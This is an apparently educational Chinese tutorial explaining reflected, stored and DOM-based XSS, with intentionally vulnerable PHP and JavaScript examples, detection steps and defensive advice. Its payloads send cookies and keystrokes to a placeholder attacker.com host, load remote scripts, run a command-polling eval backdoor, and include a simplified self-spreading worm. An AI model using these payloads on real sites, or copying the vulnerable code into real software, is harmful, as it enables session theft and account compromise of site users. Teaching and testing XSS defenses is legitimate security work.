1. XSS分类概述

根据XSS漏洞的产生原理和攻击方式,XSS可以分为三大类型:反射型XSS存储型XSSDOM型XSS。这三种类型虽然都是XSS攻击,但它们的工作机制、危害程度和利用难度都有所不同。

分类依据

XSS的分类主要基于以下两个维度:

  • 数据流向:恶意代码是如何到达受害者浏览器的
  • 存储位置:恶意代码是否被持久化存储

快速区分三种类型:

  • 反射型:恶意代码在URL中,点击链接立即触发,不存储
  • 存储型:恶意代码存储在服务器(数据库),每次访问都触发
  • DOM型:恶意代码在客户端处理,不经过服务器

2. 反射型XSS(Reflected XSS)

2.1 工作原理

反射型XSS,也称为非持久型XSS,是最常见的XSS类型。攻击代码通过URL参数、表单提交等方式发送到服务器,服务器将这些数据"反射"回浏览器并渲染,从而导致恶意脚本执行。

1. 攻击者构造恶意URL
2. 受害者点击链接
3. 服务器处理请求
4. 将恶意代码反射到响应中
5. 浏览器执行恶意脚本

2.2 典型场景

反射型XSS最常见于以下功能:

  • 搜索功能(搜索关键词回显)
  • 错误提示页面(显示错误参数)
  • 跳转页面(显示来源URL)
  • 表单验证失败提示(回显用户输入)

2.3 代码示例

存在漏洞的搜索功能

<?php
// 搜索页面 search.php
$keyword = $_GET['q'];
?>
<!DOCTYPE html>
<html>
<head>
    <title>搜索结果</title>
</head>
<body>
    <h1>搜索: <?php echo $keyword; ?></h1>
    <!-- 如果$keyword包含恶意脚本,这里会直接执行 -->
    <p>未找到相关结果</p>
</body>
</html>

攻击示例

<!-- 正常URL -->
http://example.com/search.php?q=hello

<!-- 恶意URL -->
http://example.com/search.php?q=<script>alert(document.cookie)</script>

<!-- 更隐蔽的攻击 -->
http://example.com/search.php?q=<img src=x onerror="fetch('http://attacker.com/steal?c='+document.cookie)">

<!-- URL编码后的攻击(绕过简单过滤)-->
http://example.com/search.php?q=%3Cscript%3Ealert%281%29%3C%2Fscript%3E

2.4 实战案例:错误页面XSS

<?php
// error.php - 存在漏洞的错误页面
$message = $_GET['msg'];
?>
<!DOCTYPE html>
<html>
<body>
    <h1>错误</h1>
    <p style="color: red;"><?php echo $message; ?></p>
    <a href="javascript:history.back()">返回</a>
</body>
</html>

<!-- 攻击URL -->
http://example.com/error.php?msg=<script>
    // 窃取Cookie并重定向
    var c = document.cookie;
    window.location='http://attacker.com/steal.php?data='+encodeURIComponent(c);
</script>

2.5 反射型XSS的特点

  • 需要诱导:必须诱使受害者点击恶意链接
  • 非持久性:不会保存到数据库,只影响当前请求
  • 传播方式:通过邮件、社交媒体、聊天工具等分享恶意链接
  • 检测相对容易:查看URL即可发现异常
  • 影响范围有限:只影响点击链接的用户

社会工程学配合

攻击者通常会使用URL缩短服务(如bit.ly)隐藏恶意URL,或者通过钓鱼邮件诱导用户点击。例如:

"您的账户存在异常,请点击以下链接立即验证:http://bit.ly/xxxxx"

3. 存储型XSS(Stored XSS)

3.1 工作原理

存储型XSS,也称为持久型XSS,是危害最大的XSS类型。攻击者将恶意脚本提交到服务器并存储在数据库中,之后每个访问相关页面的用户都会受到攻击。

1. 攻击者提交恶意脚本
2. 服务器存储到数据库
3. 受害者访问页面
4. 服务器从数据库读取数据
5. 浏览器执行恶意脚本

3.2 典型场景

  • 用户评论系统
  • 论坛帖子和回复
  • 用户资料(昵称、签名、个人简介等)
  • 博客文章
  • 留言板
  • 私信系统
  • 商品评价

3.3 代码示例

存在漏洞的评论系统

<?php
// 保存评论 - save_comment.php
if($_POST['comment']) {
    $comment = $_POST['comment'];
    $user_id = $_SESSION['user_id'];
    
    // 直接存储,未做任何过滤!
    $stmt = $pdo->prepare("INSERT INTO comments (user_id, content, created_at) VALUES (?, ?, NOW())");
    $stmt->execute([$user_id, $comment]);
    
    header("Location: article.php?id=" . $_POST['article_id']);
}

// 显示评论 - article.php
$comments = $pdo->query("SELECT * FROM comments WHERE article_id = " . $_GET['id']);
?>
<div class="comments">
    <?php foreach($comments as $comment): ?>
        <div class="comment">
            <!-- 直接输出,未做HTML转义! -->
            <p><?php echo $comment['content']; ?></p>
        </div>
    <?php endforeach; ?>
</div>

攻击Payload

// 攻击者发表以下评论:

// 1. Cookie窃取
<script>
fetch('http://attacker.com/steal.php?cookie=' + document.cookie);
</script>

// 2. 键盘记录器
<script>
document.addEventListener('keypress', function(e) {
    var img = new Image();
    img.src = 'http://attacker.com/keylog.php?key=' + e.key;
});
</script>

// 3. 页面重定向
<script>
setTimeout(function() {
    window.location.href = 'http://malicious-site.com';
}, 5000);
</script>

// 4. 隐蔽的后门
<img src=x style="display:none" onerror="
    setInterval(function(){
        fetch('http://attacker.com/cmd.php')
            .then(r=>r.text())
            .then(cmd=>eval(cmd));
    }, 30000);
">

3.4 高级攻击:用户资料XSS

<?php
// profile.php - 用户资料页面
$user = getUserById($_GET['id']);
?>
<div class="profile">
    <h2><?php echo $user['nickname']; ?></h2>
    <p>签名:<?php echo $user['signature']; ?></p>
    <p>个人简介:<?php echo $user['bio']; ?></p>
</div>

<!-- 攻击者在个人资料中输入: -->
<!-- 昵称: 正常用户名 -->
<!-- 签名: <script src="https://attacker.com/xss.js"></script> -->
<!-- 简介: <img src=x onerror="eval(atob('恶意代码的base64编码'))"> -->

3.5 存储型XSS蠕虫

存储型XSS最可怕的利用方式是创建自我复制的蠕虫。以下是一个简化的示例:

// XSS蠕虫示例(简化版)
<script>
(function() {
    // 恶意Payload
    var payload = '<script src="http://attacker.com/worm.js"></scr' + 'ipt>';
    
    // 自动发表评论,传播蠕虫
    var xhr = new XMLHttpRequest();
    xhr.open('POST', '/api/comment', true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('content=' + encodeURIComponent(payload));
    
    // 窃取Cookie
    new Image().src = 'http://attacker.com/steal?c=' + document.cookie;
})();
</script>

2005年MySpace Samy蠕虫

这是历史上最著名的XSS蠕虫案例。Samy Kamkar利用MySpace的存储型XSS漏洞,创建了一个自我传播的蠕虫。该蠕虫会:

  • 自动将访问者添加为Samy的好友
  • 在访问者的个人资料中添加"but most of all, Samy is my hero"
  • 将蠕虫代码复制到访问者的资料页

短短20小时内,Samy获得了超过100万好友,最终导致MySpace服务器崩溃。

3.6 存储型XSS的特点

  • 持久性:存储在服务器,长期有效
  • 自动触发:无需用户交互,访问即中招
  • 影响范围广:所有访问者都会受到攻击
  • 危害最大:可以窃取管理员Cookie、蠕虫传播等
  • 难以发现:可能长期潜伏
  • 清除困难:需要清理数据库

4. DOM型XSS(DOM-based XSS)

4.1 工作原理

DOM型XSS是一种特殊的XSS类型,其特点是整个攻击过程在客户端完成,不经过服务器。恶意代码通过修改页面的DOM环境来执行,服务器响应中不包含恶意脚本,因此服务器端的XSS防护无法检测到。

什么是DOM?

DOM(Document Object Model,文档对象模型)是浏览器对HTML文档的内部表示。JavaScript可以通过DOM API来读取和修改页面内容。

4.2 常见的DOM XSS源和汇

危险的Source(数据来源)

// URL相关
window.location.href
window.location.search
window.location.hash
document.URL
document.documentURI
document.baseURI

// 引用来源
document.referrer

// 其他
window.name
localStorage
sessionStorage

危险的Sink(执行点)

// HTML修改
element.innerHTML
element.outerHTML
document.write()
document.writeln()

// JavaScript执行
eval()
setTimeout()
setInterval()
Function()

// URL跳转
location.href
location.assign()
window.open()

// 脚本加载
script.src
script.text
script.textContent

4.3 代码示例

示例1:innerHTML导致的DOM XSS

<!DOCTYPE html>
<html>
<body>
    <div id="welcome"></div>
    
    <script>
        // 从URL获取name参数
        var name = new URLSearchParams(window.location.search).get('name');
        
        // 危险!直接将用户输入插入到innerHTML
        document.getElementById('welcome').innerHTML = 'Welcome, ' + name;
    </script>
</body>
</html>

<!-- 攻击URL -->
http://example.com/welcome.html?name=<img src=x onerror=alert(document.cookie)>

示例2:eval()导致的DOM XSS

// 获取URL中的lang参数来切换语言
var lang = new URLSearchParams(window.location.search).get('lang');

// 危险!使用eval执行
if(lang) {
    eval('switchLanguage("' + lang + '")');
}

// 攻击URL
// http://example.com/?lang=");alert(document.cookie);//

示例3:location.hash导致的DOM XSS

// 根据URL hash显示对应内容
var section = location.hash.substring(1);
document.getElementById('content').innerHTML = 
    '<h2>' + section + '</h2>';

// 攻击URL
// http://example.com/#<img src=x onerror=alert(1)>

示例4:jQuery导致的DOM XSS

// 使用jQuery的html()方法
var input = location.hash.substring(1);
$('#output').html(input);

// 或者使用选择器
var id = location.hash.substring(1);
$(id).show();

// 攻击URL(针对选择器)
// http://example.com/#<img src=x onerror=alert(1)>

4.4 高级DOM XSS:AngularJS模板注入

<!-- AngularJS应用 -->
<div ng-app>
    <div ng-bind-html="userInput"></div>
</div>

<script>
    // 从URL获取输入
    var input = location.search.substring(3);
    angular.element(document.querySelector('[ng-bind-html]'))
           .scope().$apply(function($scope) {
               $scope.userInput = input;
           });
</script>

<!-- 攻击Payload -->
?q={{constructor.constructor('alert(1)')()}}
?q={{$on.constructor('alert(1)')()}}
?q={{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor)}}

4.5 DOM型XSS的特点

  • 完全在客户端:不经过服务器,服务器日志中不会出现
  • 绕过服务器防护:WAF、输入过滤等服务器端防护无效
  • 难以检测:需要分析JavaScript代码
  • 现代框架常见:SPA应用中更容易出现
  • 需要代码审计:自动化扫描器难以发现

防护建议

DOM型XSS的防护重点在客户端:

  • 避免使用innerHTML、document.write等危险方法
  • 使用textContent代替innerHTML(如果只需要文本)
  • 对用户输入进行严格的白名单验证
  • 使用框架提供的安全方法(如React的JSX自动转义)
  • 使用CSP(Content Security Policy)限制脚本执行

5. 三种类型对比

特性 反射型XSS 存储型XSS DOM型XSS
数据存储 不存储 存储在服务器 不存储
触发方式 点击恶意链接 访问包含恶意数据的页面 访问特定URL
影响范围 点击链接的用户 所有访问者 点击链接的用户
持久性 非持久 持久 非持久
服务器参与
检测难度 容易 中等 困难
危害程度 中等 中等
利用难度 需要社会工程学 相对容易 需要JavaScript知识
典型场景 搜索框、错误页面 评论、论坛、资料 单页应用、客户端路由
服务器日志 有记录 有记录 可能无记录

6. 如何检测不同类型的XSS

6.1 反射型XSS检测

// 基础测试Payload
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>

// 检测步骤:
// 1. 找到所有接受用户输入的参数
// 2. 依次插入测试Payload
// 3. 观察响应中是否包含未转义的Payload
// 4. 检查浏览器是否执行了脚本

6.2 存储型XSS检测

// 带标识的Payload,便于追踪
<script>alert('XSS-20250123-001')</script>
<img src=x onerror="console.log('XSS-STORED-001')">

// 检测步骤:
// 1. 在表单、评论等处提交测试Payload
// 2. 访问可能显示该数据的所有页面
// 3. 检查是否触发脚本执行
// 4. 检查不同用户权限下的访问情况(普通用户、管理员)

6.3 DOM型XSS检测

// DOM XSS测试Payload
#<img src=x onerror=alert('DOM-XSS')>
?param=<img src=x onerror=alert(1)>

// 检测步骤:
// 1. 审查JavaScript代码,查找危险的Source和Sink
// 2. 通过URL参数、Hash等注入测试Payload
// 3. 使用浏览器开发者工具监控DOM变化
// 4. 使用DOM XSS专用扫描器(如DOMinator)

6.4 自动化扫描工具

  • Burp Suite:专业的Web安全测试工具,包含XSS检测模块
  • OWASP ZAP:开源的Web应用安全扫描器
  • XSStrike:专门用于XSS检测的Python工具
  • DOMinator:专注于DOM型XSS的检测工具

7. 总结

本文详细介绍了XSS的三大类型:反射型、存储型和DOM型。每种类型都有其独特的特点和利用方式:

  • 反射型XSS:最常见,通过恶意链接触发,影响点击链接的用户
  • 存储型XSS:危害最大,持久化存储,影响所有访问者,可能形成蠕虫
  • DOM型XSS:完全在客户端执行,绕过服务器防护,在现代Web应用中越来越常见

继续学习

掌握了XSS的分类后,建议继续学习:

上一篇:XSS完全入门 下一篇:Payload编写技巧